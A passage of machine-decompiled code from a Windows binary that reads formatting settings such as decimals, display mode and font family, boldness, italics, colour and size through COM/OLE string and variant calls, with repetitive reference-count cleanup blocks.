																																																											E6ED3416E(_t1888);
																																																											_t1939 = _t1939 + 8;
																																																										}
																																																									}
																																																									_v128 = 0;
																																																								}
																																																								__eflags = _t1605;
																																																								if(__eflags == 0) {
																																																									_t1208 = E6ED27C80(_t1605,  &_v136, _t1823, __eflags, "decimals");
																																																									_t1710 =  &_v40;
																																																									_t1209 = E6ED27D80(_t1710, _t1208);
																																																									_t1889 = _v136;
																																																									_t1606 = _t1209;
																																																									__eflags = _t1889;
																																																									if(_t1889 != 0) {
																																																										asm("lock xadd [esi+0x8], ecx");
																																																										__eflags = (_t1710 | 0xffffffff) == 1;
																																																										if((_t1710 | 0xffffffff) == 1) {
																																																											__eflags = _t1889;
																																																											if(_t1889 != 0) {
																																																												_t1244 =  *_t1889;
																																																												__eflags = _t1244;
																																																												if(_t1244 != 0) {
																																																													__imp__#6(_t1244);
																																																													 *_t1889 = 0;
																																																												}
																																																												_t1245 =  *(_t1889 + 4);
																																																												__eflags = _t1245;
																																																												if(_t1245 != 0) {
																																																													E6ED341CF(_t1245);
																																																													_t1939 = _t1939 + 4;
																																																													 *(_t1889 + 4) = 0;
																																																												}
																																																												_push(0xc);
																																																												E6ED3416E(_t1889);
																																																												_t1939 = _t1939 + 8;
																																																											}
																																																										}
																																																										_v136 = 0;
																																																									}
																																																									__eflags = _t1606;
																																																									if(__eflags == 0) {
																																																										_t1210 = E6ED27C80(_t1606,  &_v144, _t1823, __eflags, "characters");
																																																										_t1712 =  &_v40;
																																																										_t1211 = E6ED27D80(_t1712, _t1210);
																																																										_t1890 = _v144;
																																																										_t1607 = _t1211;
																																																										__eflags = _t1890;
																																																										if(_t1890 != 0) {
																																																											asm("lock xadd [esi+0x8], ecx");
																																																											__eflags = (_t1712 | 0xffffffff) == 1;
																																																											if((_t1712 | 0xffffffff) == 1) {
																																																												__eflags = _t1890;
																																																												if(_t1890 != 0) {
																																																													_t1230 =  *_t1890;
																																																													__eflags = _t1230;
																																																													if(_t1230 != 0) {
																																																														__imp__#6(_t1230);
																																																														 *_t1890 = 0;
																																																													}
																																																													_t1231 =  *(_t1890 + 4);
																																																													__eflags = _t1231;
																																																													if(_t1231 != 0) {
																																																														E6ED341CF(_t1231);
																																																														_t1939 = _t1939 + 4;
																																																														 *(_t1890 + 4) = 0;
																																																													}
																																																													_push(0xc);
																																																													E6ED3416E(_t1890);
																																																													_t1939 = _t1939 + 8;
																																																												}
																																																											}
																																																											_v144 = 0;
																																																										}
																																																										__eflags = _t1607;
																																																										if(_t1607 != 0) {
																																																											_push( &_v72);
																																																											_t1714 =  &_v148;
																																																											_t1221 = E6ED27ED0(_t1607,  &_v148, _t1823, _t1837, _t1890, _t1996);
																																																											_v20 = 0x15;
																																																											_t1891 =  *_t1221;
																																																											__eflags = _t1891;
																																																											if(_t1891 == 0) {
																																																												_t1222 = 0;
																																																												__eflags = 0;
																																																											} else {
																																																												_t1222 =  *(_t1891 + 4);
																																																												__eflags = _t1222;
																																																												if(_t1222 == 0) {
																																																													 *(_t1891 + 4) = E6ED37520(_t1607,  *_t1891);
																																																												}
																																																											}
																																																											_t1223 = E6ED44079(_t1714, _t1222);
																																																											_t1939 = _t1939 + 4;
																																																											_t1892 = _v148;
																																																											 *(_v96 + 0x48) = _t1223;
																																																											__eflags = _t1892;
																																																											if(_t1892 != 0) {
																																																												asm("lock xadd [esi+0x8], eax");
																																																												__eflags = (_t1223 | 0xffffffff) == 1;
																																																												if((_t1223 | 0xffffffff) == 1) {
																																																													__eflags = _t1892;
																																																													if(_t1892 != 0) {
																																																														_t1226 =  *_t1892;
																																																														__eflags = _t1226;
																																																														if(_t1226 != 0) {
																																																															__imp__#6(_t1226);
																																																															 *_t1892 = 0;
																																																														}
																																																														_t1227 =  *(_t1892 + 4);
																																																														__eflags = _t1227;
																																																														if(_t1227 != 0) {
																																																															E6ED341CF(_t1227);
																																																															_t1939 = _t1939 + 4;
																																																															 *(_t1892 + 4) = 0;
																																																														}
																																																														_push(0xc);
																																																														E6ED3416E(_t1892);
																																																														_t1939 = _t1939 + 8;
																																																													}
																																																												}
																																																												_v148 = 0;
																																																											}
																																																										}
																																																									} else {
																																																										_push( &_v72);
																																																										_t1718 =  &_v140;
																																																										_t1235 = E6ED27ED0(_t1606,  &_v140, _t1823, _t1837, _t1889, _t1996);
																																																										_v20 = 0x14;
																																																										_t1893 =  *_t1235;
																																																										__eflags = _t1893;
																																																										if(_t1893 == 0) {
																																																											_t1236 = 0;
																																																											__eflags = 0;
																																																										} else {
																																																											_t1236 =  *(_t1893 + 4);
																																																											__eflags = _t1236;
																																																											if(_t1236 == 0) {
																																																												 *(_t1893 + 4) = E6ED37520(_t1606,  *_t1893);
																																																											}
																																																										}
																																																										_t1237 = E6ED44079(_t1718, _t1236);
																																																										_t1939 = _t1939 + 4;
																																																										_t1894 = _v140;
																																																										 *(_v96 + 0x4c) = _t1237;
																																																										__eflags = _t1894;
																																																										if(_t1894 != 0) {
																																																											asm("lock xadd [esi+0x8], eax");
																																																											__eflags = (_t1237 | 0xffffffff) == 1;
																																																											if((_t1237 | 0xffffffff) == 1) {
																																																												__eflags = _t1894;
																																																												if(_t1894 != 0) {
																																																													_t1240 =  *_t1894;
																																																													__eflags = _t1240;
																																																													if(_t1240 != 0) {
																																																														__imp__#6(_t1240);
																																																														 *_t1894 = 0;
																																																													}
																																																													_t1241 =  *(_t1894 + 4);
																																																													__eflags = _t1241;
																																																													if(_t1241 != 0) {
																																																														E6ED341CF(_t1241);
																																																														_t1939 = _t1939 + 4;
																																																														 *(_t1894 + 4) = 0;
																																																													}
																																																													_push(0xc);
																																																													E6ED3416E(_t1894);
																																																													_t1939 = _t1939 + 8;
																																																												}
																																																											}
																																																											_v140 = 0;
																																																										}
																																																									}
																																																								} else {
																																																									_push( &_v72);
																																																									_t1249 = E6ED27ED0(_t1605,  &_v132, _t1823, _t1837, _t1888, _t1996);
																																																									_v20 = 0x13;
																																																									_t1895 =  *_t1249;
																																																									__eflags = _t1895;
																																																									if(_t1895 == 0) {
																																																										_t1250 = 0;
																																																										__eflags = 0;
																																																									} else {
																																																										_t1250 =  *(_t1895 + 4);
																																																										__eflags = _t1250;
																																																										if(_t1250 == 0) {
																																																											 *(_t1895 + 4) = E6ED37520(_t1605,  *_t1895);
																																																										}
																																																									}
																																																									E6ED4492F(_t1250);
																																																									_t1252 = _v96;
																																																									_t1939 = _t1939 + 4;
																																																									_t1896 = _v132;
																																																									 *((long long*)(_t1252 + 0x50)) = _t1996;
																																																									__eflags = _t1896;
																																																									if(_t1896 != 0) {
																																																										asm("lock xadd [esi+0x8], eax");
																																																										__eflags = (_t1252 | 0xffffffff) == 1;
																																																										if((_t1252 | 0xffffffff) == 1) {
																																																											__eflags = _t1896;
																																																											if(_t1896 != 0) {
																																																												_t1255 =  *_t1896;
																																																												__eflags = _t1255;
																																																												if(_t1255 != 0) {
																																																													__imp__#6(_t1255);
																																																													 *_t1896 = 0;
																																																												}
																																																												_t1256 =  *(_t1896 + 4);
																																																												__eflags = _t1256;
																																																												if(_t1256 != 0) {
																																																													E6ED341CF(_t1256);
																																																													_t1939 = _t1939 + 4;
																																																													 *(_t1896 + 4) = 0;
																																																												}
																																																												_push(0xc);
																																																												E6ED3416E(_t1896);
																																																												_t1939 = _t1939 + 8;
																																																											}
																																																										}
																																																										_v132 = 0;
																																																									}
																																																								}
																																																							} else {
																																																								_push( &_v72);
																																																								_t1264 = E6ED27ED0(_t1604,  &_v124, _t1823, _t1837, _t1887, _t1996);
																																																								_v20 = 0x12;
																																																								_t1265 =  *_t1264;
																																																								__eflags = _t1265;
																																																								if(_t1265 == 0) {
																																																									_t1823 = 0;
																																																									__eflags = 0;
																																																								} else {
																																																									_t1823 =  *_t1265;
																																																								}
																																																								_t1726 = _t1823;
																																																								_t595 = _t1726 + 2; // 0x2
																																																								_t1897 = _t595;
																																																								asm("o16 nop [eax+eax]");
																																																								do {
																																																									_t1266 =  *_t1726;
																																																									_t1726 = _t1726 + 2;
																																																									__eflags = _t1266;
																																																								} while (_t1266 != 0);
																																																								_push(_t1726 - _t1897 >> 1);
																																																								_t1267 = E6ED2B860(_t1604, _v96, _t1837, _t1897, _t1996, _t1823);
																																																								_t1898 = _v124;
																																																								__eflags = _t1898;
																																																								if(_t1898 != 0) {
																																																									asm("lock xadd [esi+0x8], eax");
																																																									__eflags = (_t1267 | 0xffffffff) == 1;
																																																									if((_t1267 | 0xffffffff) == 1) {
																																																										__eflags = _t1898;
																																																										if(_t1898 != 0) {
																																																											_t1270 =  *_t1898;
																																																											__eflags = _t1270;
																																																											if(_t1270 != 0) {
																																																												__imp__#6(_t1270);
																																																												 *_t1898 = 0;
																																																											}
																																																											_t1271 =  *(_t1898 + 4);
																																																											__eflags = _t1271;
																																																											if(_t1271 != 0) {
																																																												E6ED341CF(_t1271);
																																																												_t1939 = _t1939 + 4;
																																																												 *(_t1898 + 4) = 0;
																																																											}
																																																											_push(0xc);
																																																											E6ED3416E(_t1898);
																																																											_t1939 = _t1939 + 8;
																																																										}
																																																									}
																																																									_v124 = 0;
																																																								}
																																																							}
																																																						} else {
																																																							_push( &_v72);
																																																							_t1279 = E6ED27ED0(_t1603,  &_v116, _t1823, _t1837, _t1886, _t1996);
																																																							_v20 = 0x11;
																																																							_t1280 =  *_t1279;
																																																							__eflags = _t1280;
																																																							if(_t1280 == 0) {
																																																								_t1823 = 0;
																																																								__eflags = 0;
																																																							} else {
																																																								_t1823 =  *_t1280;
																																																							}
																																																							_t1733 = _t1823;
																																																							_t579 = _t1733 + 2; // 0x2
																																																							_t1899 = _t579;
																																																							asm("o16 nop [eax+eax]");
																																																							do {
																																																								_t1281 =  *_t1733;
																																																								_t1733 = _t1733 + 2;
																																																								__eflags = _t1281;
																																																							} while (_t1281 != 0);
																																																							_push(_t1733 - _t1899 >> 1);
																																																							_t1282 = E6ED2B860(_t1603, _v96 + 0x30, _t1837, _t1899, _t1996, _t1823);
																																																							_t1900 = _v116;
																																																							__eflags = _t1900;
																																																							if(_t1900 != 0) {
																																																								asm("lock xadd [esi+0x8], eax");
																																																								__eflags = (_t1282 | 0xffffffff) == 1;
																																																								if((_t1282 | 0xffffffff) == 1) {
																																																									__eflags = _t1900;
																																																									if(_t1900 != 0) {
																																																										_t1285 =  *_t1900;
																																																										__eflags = _t1285;
																																																										if(_t1285 != 0) {
																																																											__imp__#6(_t1285);
																																																											 *_t1900 = 0;
																																																										}
																																																										_t1286 =  *(_t1900 + 4);
																																																										__eflags = _t1286;
																																																										if(_t1286 != 0) {
																																																											E6ED341CF(_t1286);
																																																											_t1939 = _t1939 + 4;
																																																											 *(_t1900 + 4) = 0;
																																																										}
																																																										_push(0xc);
																																																										E6ED3416E(_t1900);
																																																										_t1939 = _t1939 + 8;
																																																									}
																																																								}
																																																								_v116 = 0;
																																																							}
																																																						}
																																																					} else {
																																																						_push( &_v72);
																																																						_t1294 = E6ED27ED0(_t1602,  &_v108, _t1823, _t1837, _t1885, _t1996);
																																																						_v20 = 0x10;
																																																						_t1295 =  *_t1294;
																																																						__eflags = _t1295;
																																																						if(_t1295 == 0) {
																																																							_t1823 = 0;
																																																							__eflags = 0;
																																																						} else {
																																																							_t1823 =  *_t1295;
																																																						}
																																																						_t1741 = _t1823;
																																																						_t563 = _t1741 + 2; // 0x2
																																																						_t1901 = _t563;
																																																						do {
																																																							_t1296 =  *_t1741;
																																																							_t1741 = _t1741 + 2;
																																																							__eflags = _t1296;
																																																						} while (_t1296 != 0);
																																																						_push(_t1741 - _t1901 >> 1);
																																																						_t1297 = E6ED2B860(_t1602, _v96 + 0x18, _t1837, _t1901, _t1996, _t1823);
																																																						_t1902 = _v108;
																																																						__eflags = _t1902;
																																																						if(_t1902 != 0) {
																																																							asm("lock xadd [esi+0x8], eax");
																																																							__eflags = (_t1297 | 0xffffffff) == 1;
																																																							if((_t1297 | 0xffffffff) == 1) {
																																																								__eflags = _t1902;
																																																								if(_t1902 != 0) {
																																																									_t1300 =  *_t1902;
																																																									__eflags = _t1300;
																																																									if(_t1300 != 0) {
																																																										__imp__#6(_t1300);
																																																										 *_t1902 = 0;
																																																									}
																																																									_t1301 =  *(_t1902 + 4);
																																																									__eflags = _t1301;
																																																									if(_t1301 != 0) {
																																																										E6ED341CF(_t1301);
																																																										_t1939 = _t1939 + 4;
																																																										 *(_t1902 + 4) = 0;
																																																									}
																																																									_push(0xc);
																																																									E6ED3416E(_t1902);
																																																									_t1939 = _t1939 + 8;
																																																								}
																																																							}
																																																							_v108 = 0;
																																																						}
																																																					}
																																																					_t1212 =  &_v72;
																																																					__imp__#9(_t1212);
																																																					asm("lock xadd [edi+0x8], eax");
																																																					__eflags = (_t1212 | 0xffffffff) == 1;
																																																					if((_t1212 | 0xffffffff) == 1) {
																																																						_t1216 =  *_t1837;
																																																						__eflags = _t1216;
																																																						if(_t1216 != 0) {
																																																							__imp__#6(_t1216);
																																																							 *_t1837 = 0;
																																																						}
																																																						_t1217 = _t1837[2];
																																																						__eflags = _t1217;
																																																						if(_t1217 != 0) {
																																																							E6ED341CF(_t1217);
																																																							_t1939 = _t1939 + 4;
																																																							_t1837[2] = 0;
																																																						}
																																																						_push(0xc);
																																																						E6ED3416E(_t1837);
																																																						_t1939 = _t1939 + 8;
																																																					}
																																																					_v20 = 4;
																																																					_t1591 = __imp__#6;
																																																					 *_t1591(_v48);
																																																					_t1186 = _v36;
																																																					_t1635 = _v100 + 1;
																																																					_v100 = _t1635;
																																																					__eflags = _t1635 - _v52;
																																																					if(_t1635 < _v52) {
																																																						continue;
																																																					} else {
																																																						goto L536;
																																																					}
																																																				}
																																																			}
																																																		} else {
																																																			__eflags = _t1860;
																																																			if(_t1860 != 0) {
																																																				L545:
																																																				_t1196 = E6ED37500(0x8007000e);
																																																				L546:
																																																				E6ED37500(_t1196);
																																																				goto L547;
																																																			} else {
																																																				goto L386;
																																																			}
																																																		}
																																																	}
																																																}
																																															}
																																														}
																																													}
																																												}
																																												goto L737;
																																											}
																																											goto L547;
																																										}
																																									}
																																								}
																																							}
																																						}
																																					} else {
																																						_t1313 = _t1823;
																																						goto L354;
																																					}
																																				}
																																			}
																																		} else {
																																			_t1334 = MultiByteToWideChar(3, 0, "display", 0xffffffff, _t1837, _t1859);
																																			__eflags = _t1334 - _t1859;
																																			if(_t1334 != _t1859) {
																																				L348:
																																				__imp__#6(_t1837);
																																				goto L349;
																																			} else {
																																				__imp__#314(_v40, _t1837, 0x400, 0);
																																				_t1837 = __imp__#6;
																																				_t1859 = _t1334;
																																				 *_t1837(_t1837);
																																				__eflags = _t1859 - 1;
																																				if(_t1859 != 1) {
																																					L322:
																																					_v32 = 0;
																																					_v16 = 0x1b;
																																					_t1336 = _v36;
																																					__eflags = _t1336;
																																					if(__eflags == 0) {
																																						goto L346;
																																					} else {
																																						_t1822 =  &_v32;
																																						_v16 = 0x1b;
																																						_v32 = 0;
																																						_t1337 =  *((intOrPtr*)( *_t1336 + 0x40))(_t1336,  &_v32);
																																						__eflags = _t1337;
																																						if(_t1337 < 0) {
																																							_v16 = 0x1d;
																																							_t1338 = _v32;
																																							__eflags = _t1338;
																																							if(_t1338 != 0) {
																																								 *((intOrPtr*)( *_t1338 + 8))(_t1338);
																																							}
																																							goto L339;
																																						} else {
																																							_t1630 = _v36;
																																							_t1340 = _v32;
																																							__eflags = _t1630 - _t1340;
																																							if(_t1630 != _t1340) {
																																								_t1859 = _t1340;
																																								_v16 = 0x21;
																																								__eflags = _t1859;
																																								if(_t1859 != 0) {
																																									 *((intOrPtr*)( *_t1340 + 4))(_t1340);
																																									_t1630 = _v36;
																																									_t1340 = _v32;
																																								}
																																								_v36 = _t1859;
																																								_v16 = 0x22;
																																								__eflags = _t1630;
																																								if(_t1630 != 0) {
																																									 *((intOrPtr*)( *_t1630 + 8))(_t1630);
																																									_t1340 = _v32;
																																								}
																																							}
																																							_v16 = 0x23;
																																							__eflags = _t1340;
																																							if(_t1340 != 0) {
																																								_t1630 =  *_t1340;
																																								 *((intOrPtr*)(_t1630 + 8))(_t1340);
																																							}
																																							 *_t1837(_v40);
																																							_t1327 = _v36;
																																							__eflags = _t1327;
																																							if(_t1327 != 0) {
																																								continue;
																																							} else {
																																								goto L332;
																																							}
																																						}
																																					}
																																				} else {
																																					_v156 = 0;
																																					asm("xorps xmm0, xmm0");
																																					_v132 = 0;
																																					_v108 = 0;
																																					_v140 = 0;
																																					_v136 = 7;
																																					_v156 = 0;
																																					_v116 = 0;
																																					_v112 = 7;
																																					_v132 = 0;
																																					_v92 = 0;
																																					_v88 = 7;
																																					_v108 = 0;
																																					_v84 = 0;
																																					_v80 = 0;
																																					asm("movsd [ebp-0x40], xmm0");
																																					_v16 = 0x18;
																																					_t1630 =  &_v36;
																																					L367();
																																					__eflags = 0;
																																					if(0 != 0) {
																																						_t1846 = _v180;
																																						_push( &_v156);
																																						_t1859 =  *(_t1846 + 0x2c);
																																						__eflags = _t1859 -  *((intOrPtr*)(_t1846 + 0x30));
																																						if(_t1859 ==  *((intOrPtr*)(_t1846 + 0x30))) {
																																							_push(_t1859);
																																							_t1630 = _t1846 + 0x28;
																																							E6ED2C220(_t1591, _t1630, _t1846, _t1859, _t1996);
																																						} else {
																																							_v176 = _t1859;
																																							E6ED2C830(_t1859, _t1996);
																																							_v16 = 0x19;
																																							E6ED2C830(_t1859 + 0x18, _t1996,  &_v132);
																																							_v16 = 0x1a;
																																							_t1630 = _t1859 + 0x30;
																																							E6ED2C830(_t1630, _t1996,  &_v108);
																																							asm("movsd xmm0, [ebp-0x40]");
																																							 *((intOrPtr*)(_t1859 + 0x48)) = _v84;
																																							 *((intOrPtr*)(_t1859 + 0x4c)) = _v80;
																																							asm("movsd [esi+0x50], xmm0");
																																							 *(_t1846 + 0x2c) =  *(_t1846 + 0x2c) + 0x58;
																																						}
																																						_t1837 = __imp__#6;
																																					}
																																					_v16 = 0x14;
																																					_t1831 = _v88;
																																					__eflags = _t1831 - 8;
																																					if(_t1831 < 8) {
																																						L314:
																																						_t1832 = _v112;
																																						__eflags = _t1832 - 8;
																																						if(_t1832 < 8) {
																																							L318:
																																							_t1822 = _v136;
																																							__eflags = _t1822 - 8;
																																							if(_t1822 < 8) {
																																								goto L322;
																																							} else {
																																								_t1630 = _v156;
																																								_t1822 = 2 + _t1822 * 2;
																																								_t1347 = _t1630;
																																								__eflags = _t1822 - 0x1000;
																																								if(_t1822 < 0x1000) {
																																									L321:
																																									_push(_t1822);
																																									E6ED3416E(_t1630);
																																									_t1937 = _t1937 + 8;
																																									goto L322;
																																								} else {
																																									_t1630 =  *(_t1630 - 4);
																																									_t1822 = _t1822 + 0x23;
																																									__eflags = _t1347 - _t1630 + 0xfffffffc - 0x1f;
																																									if(__eflags > 0) {
																																										goto L347;
																																									} else {
																																										goto L321;
																																									}
																																								}
																																							}
																																						} else {
																																							_t1630 = _v132;
																																							_t1833 = 2 + _t1832 * 2;
																																							_t1351 = _t1630;
																																							__eflags = _t1833 - 0x1000;
																																							if(_t1833 < 0x1000) {
																																								L317:
																																								_push(_t1833);
																																								E6ED3416E(_t1630);
																																								_t1937 = _t1937 + 8;
																																								goto L318;
																																							} else {
																																								_t1630 =  *(_t1630 - 4);
																																								_t1822 = _t1833 + 0x23;
																																								__eflags = _t1351 - _t1630 + 0xfffffffc - 0x1f;
																																								if(__eflags > 0) {
																																									goto L347;
																																								} else {
																																									goto L317;
																																								}
																																							}
																																						}
																																					} else {
																																						_t1630 = _v108;
																																						_t1834 = 2 + _t1831 * 2;
																																						_t1355 = _t1630;
																																						__eflags = _t1834 - 0x1000;
																																						if(_t1834 < 0x1000) {
																																							L313:
																																							_push(_t1834);
																																							E6ED3416E(_t1630);
																																							_t1937 = _t1937 + 8;
																																							goto L314;
																																						} else {
																																							_t1630 =  *(_t1630 - 4);
																																							_t1822 = _t1834 + 0x23;
																																							__eflags = _t1355 - _t1630 + 0xfffffffc - 0x1f;
																																							if(__eflags > 0) {
																																								L347:
																																								E6ED3D5F4(_t1591, _t1630, _t1822, __eflags);
																																								goto L348;
																																							} else {
																																								goto L313;
																																							}
																																						}
																																					}
																																				}
																																			}
																																		}
																																	}
																																	goto L737;
																																}
																																goto L346;
																															}
																														}
																													} else {
																														while(1) {
																															_t1859 = _v48;
																															__eflags = _t1859;
																															if(__eflags == 0) {
																																goto L346;
																															}
																															_t1630 =  *_t1859;
																															_t1837 =  *(_t1630 + 0x28);
																															_v16 = 5;
																															__eflags = _t1324;
																															if(_t1324 != 0) {
																																_t1630 =  *_t1324;
																																 *((intOrPtr*)(_t1630 + 8))(_t1324);
																															}
																															_v16 = 4;
																															_v44 = 0;
																															_t1369 =  *_t1837(_t1859, _t1591,  &_v44);
																															__eflags = _t1369;
																															if(_t1369 < 0) {
																																L296:
																																_t1608 = 0;
																																L335:
																																_v16 = 0x25;
																																_t1328 = _v44;
																																__eflags = _t1328;
																																if(_t1328 != 0) {
																																	 *((intOrPtr*)( *_t1328 + 8))(_t1328);
																																}
																																L341:
																																_v16 = 0x26;
																																_t1750 = _v48;
																																__eflags = _t1750;
																																if(_t1750 != 0) {
																																	_t1822 =  *_t1750;
																																	 *((intOrPtr*)( *_t1750 + 8))(_t1750);
																																}
																																 *[fs:0x0] = _v24;
																																_pop(_t1845);
																																_pop(_t1903);
																																_pop(_t1609);
																																__eflags = _v28 ^ _t1916;
																																return E6ED34160(_t1608, _t1609, _v28 ^ _t1916, _t1822, _t1845, _t1903);
																															} else {
																																_v40 = 0;
																																_v16 = 8;
																																_t1370 = _v44;
																																__eflags = _t1370;
																																if(__eflags == 0) {
																																	goto L346;
																																} else {
																																	_t1630 =  *_t1370;
																																	_t1822 =  &_v40;
																																	_t1371 =  *((intOrPtr*)(_t1630 + 0x1c))(_t1370,  &_v40);
																																	__eflags = _t1371;
																																	if(_t1371 < 0) {
																																		L295:
																																		__imp__#6(_v40);
																																		goto L296;
																																	} else {
																																		_t1372 = _v44;
																																		__eflags = _t1372;
																																		if(__eflags == 0) {
																																			goto L346;
																																		} else {
																																			_t1630 =  *_t1372;
																																			_t1822 =  &_v172;
																																			__eflags =  *((intOrPtr*)(_t1630 + 0x20))(_t1372,  &_v172);
																																			if(__eflags < 0) {
																																				goto L295;
																																			} else {
																																				_t1859 = _v40;
																																				_t1374 = E6ED3419F( &_v172, __eflags, 0xc);
																																				_t1837 = _t1374;
																																				_t1937 = _t1937 + 4;
																																				_v232 = _t1837;
																																				_v16 = 0xd;
																																				__eflags = _t1837;
																																				if(_t1837 == 0) {
																																					_t1837 = 0;
																																					__eflags = 0;
																																					goto L172;
																																				} else {
																																					asm("xorps xmm0, xmm0");
																																					asm("movq [edi], xmm0");
																																					_t1837[4] = 0;
																																					_t1837[2] = 0;
																																					_t1837[4] = 1;
																																					__imp__#2(_t1859);
																																					 *_t1837 = _t1374;
																																					__eflags = _t1374;
																																					if(_t1374 != 0) {
																																						L172:
																																						_v16 = 8;
																																						_v32 = _t1837;
																																						__eflags = _t1837;
																																						if(__eflags == 0) {
																																							goto L344;
																																						} else {
																																							_v16 = 0xe;
																																							__imp__#8( &_v68);
																																							_t1375 =  &_v68;
																																							__imp__#10(_t1375,  &_v172);
																																							__eflags = _t1375;
																																							if(__eflags < 0) {
																																								goto L345;
																																							} else {
																																								_v16 = 0xf;
																																								_t1379 = E6ED27C80(_t1591,  &_v184, _t1822, __eflags, "fontFamily");
																																								_t1765 =  &_v32;
																																								_t1380 = E6ED27D80(_t1765, _t1379);
																																								_t1904 = _v184;
																																								_t1610 = _t1380;
																																								__eflags = _t1904;
																																								if(_t1904 != 0) {
																																									asm("lock xadd [esi+0x8], ecx");
																																									__eflags = (_t1765 | 0xffffffff) == 1;
																																									if((_t1765 | 0xffffffff) == 1) {
																																										__eflags = _t1904;
																																										if(_t1904 != 0) {
																																											_t1469 =  *_t1904;
																																											__eflags = _t1469;
																																											if(_t1469 != 0) {
																																												__imp__#6(_t1469);
																																												 *_t1904 = 0;
																																											}
																																											_t1470 =  *(_t1904 + 4);
																																											__eflags = _t1470;
																																											if(_t1470 != 0) {
																																												E6ED341CF(_t1470);
																																												_t1937 = _t1937 + 4;
																																												 *(_t1904 + 4) = 0;
																																											}
																																											_push(0xc);
																																											E6ED3416E(_t1904);
																																											_t1937 = _t1937 + 8;
																																										}
																																									}
																																									_v184 = 0;
																																								}
																																								__eflags = _t1610;
																																								if(__eflags == 0) {
																																									_t1381 = E6ED27C80(_t1610,  &_v192, _t1822, __eflags, "fontBold");
																																									_t1767 =  &_v32;
																																									_t1382 = E6ED27D80(_t1767, _t1381);
																																									_t1905 = _v192;
																																									_t1611 = _t1382;
																																									__eflags = _t1905;
																																									if(_t1905 != 0) {
																																										asm("lock xadd [esi+0x8], ecx");
																																										__eflags = (_t1767 | 0xffffffff) == 1;
																																										if((_t1767 | 0xffffffff) == 1) {
																																											__eflags = _t1905;
																																											if(_t1905 != 0) {
																																												_t1455 =  *_t1905;
																																												__eflags = _t1455;
																																												if(_t1455 != 0) {
																																													__imp__#6(_t1455);
																																													 *_t1905 = 0;
																																												}
																																												_t1456 =  *(_t1905 + 4);
																																												__eflags = _t1456;
																																												if(_t1456 != 0) {
																																													E6ED341CF(_t1456);
																																													_t1937 = _t1937 + 4;
																																													 *(_t1905 + 4) = 0;
																																												}
																																												_push(0xc);
																																												E6ED3416E(_t1905);
																																												_t1937 = _t1937 + 8;
																																											}
																																										}
																																										_v192 = 0;
																																									}
																																									__eflags = _t1611;
																																									if(__eflags == 0) {
																																										_t1383 = E6ED27C80(_t1611,  &_v200, _t1822, __eflags, "fontItalic");
																																										_t1769 =  &_v32;
																																										_t1384 = E6ED27D80(_t1769, _t1383);
																																										_t1906 = _v200;
																																										_t1612 = _t1384;
																																										__eflags = _t1906;
																																										if(_t1906 != 0) {
																																											asm("lock xadd [esi+0x8], ecx");
																																											__eflags = (_t1769 | 0xffffffff) == 1;
																																											if((_t1769 | 0xffffffff) == 1) {
																																												__eflags = _t1906;
																																												if(_t1906 != 0) {
																																													_t1439 =  *_t1906;
																																													__eflags = _t1439;
																																													if(_t1439 != 0) {
																																														__imp__#6(_t1439);
																																														 *_t1906 = 0;
																																													}
																																													_t1440 =  *(_t1906 + 4);
																																													__eflags = _t1440;
																																													if(_t1440 != 0) {
																																														E6ED341CF(_t1440);
																																														_t1937 = _t1937 + 4;
																																														 *(_t1906 + 4) = 0;
																																													}
																																													_push(0xc);
																																													E6ED3416E(_t1906);
																																													_t1937 = _t1937 + 8;
																																												}
																																											}
																																											_v200 = 0;
																																										}
																																										__eflags = _t1612;
																																										if(__eflags == 0) {
																																											_t1385 = E6ED27C80(_t1612,  &_v208, _t1822, __eflags, "fontColor");
																																											_t1771 =  &_v32;
																																											_t1386 = E6ED27D80(_t1771, _t1385);
																																											_t1907 = _v208;
																																											_t1613 = _t1386;
																																											__eflags = _t1907;
																																											if(_t1907 != 0) {
																																												asm("lock xadd [esi+0x8], ecx");
																																												__eflags = (_t1771 | 0xffffffff) == 1;
																																												if((_t1771 | 0xffffffff) == 1) {
																																													__eflags = _t1907;
																																													if(_t1907 != 0) {
																																														_t1423 =  *_t1907;
																																														__eflags = _t1423;
																																														if(_t1423 != 0) {
																																															__imp__#6(_t1423);
																																															 *_t1907 = 0;
																																														}
																																														_t1424 =  *(_t1907 + 4);
																																														__eflags = _t1424;
																																														if(_t1424 != 0) {
																																															E6ED341CF(_t1424);
																																															_t1937 = _t1937 + 4;
																																															 *(_t1907 + 4) = 0;
																																														}
																																														_push(0xc);
																																														E6ED3416E(_t1907);
																																														_t1937 = _t1937 + 8;
																																													}
																																												}
																																												_v208 = 0;
																																											}
																																											__eflags = _t1613;
																																											if(__eflags == 0) {
																																												_t1387 = E6ED27C80(_t1613,  &_v216, _t1822, __eflags, "fontSize");
																																												_t1630 =  &_v32;
																																												_t1388 = E6ED27D80(_t1630, _t1387);
																																												_t1859 = _v216;
																																												_t1614 = _t1388;
																																												__eflags = _t1859;
																																												if(_t1859 != 0) {
																																													asm("lock xadd [esi+0x8], ecx");
																																													_t1630 = (_t1630 | 0xffffffff) - 1;
																																													__eflags = _t1630;
																																													if(_t1630 == 0) {
																																														__eflags = _t1859;
																																														if(_t1859 != 0) {
																																															_t1408 =  *_t1859;
																																															__eflags = _t1408;
																																															if(_t1408 != 0) {
																																																__imp__#6(_t1408);
																																																 *_t1859 = 0;
																																															}
																																															_t1409 =  *(_t1859 + 4);
																																															__eflags = _t1409;
																																															if(_t1409 != 0) {
																																																E6ED341CF(_t1409);
																																																_t1937 = _t1937 + 4;
																																																 *(_t1859 + 4) = 0;
																																															}
																																															_push(0xc);
																																															E6ED3416E(_t1859);
																																															_t1937 = _t1937 + 8;
																																														}
																																													}
																																													_v216 = 0;
																																												}
																																												__eflags = _t1614;
																																												if(_t1614 != 0) {
																																													_push( &_v68);
																																													_t1630 =  &_v220;
																																													_t1398 = E6ED27ED0(_t1614, _t1630, _t1822, _t1837, _t1859, _t1996);
																																													_v16 = 0x11;
																																													_t1908 =  *_t1398;
																																													__eflags = _t1908;
																																													if(_t1908 == 0) {
																																														_t1399 = 0;
																																														__eflags = 0;
																																													} else {
																																														_t1399 =  *(_t1908 + 4);
																																														__eflags = _t1399;
																																														if(_t1399 == 0) {
																																															 *(_t1908 + 4) = E6ED37520(_t1614,  *_t1908);
																																														}
																																													}
																																													E6ED4492F(_t1399);
																																													_t1401 = _v180;
																																													_t1937 = _t1937 + 4;
																																													_t1859 = _v220;
																																													 *((long long*)(_t1401 + 0x20)) = _t1996;
																																													__eflags = _t1859;
																																													if(_t1859 != 0) {
																																														asm("lock xadd [esi+0x8], eax");
																																														__eflags = (_t1401 | 0xffffffff) == 1;
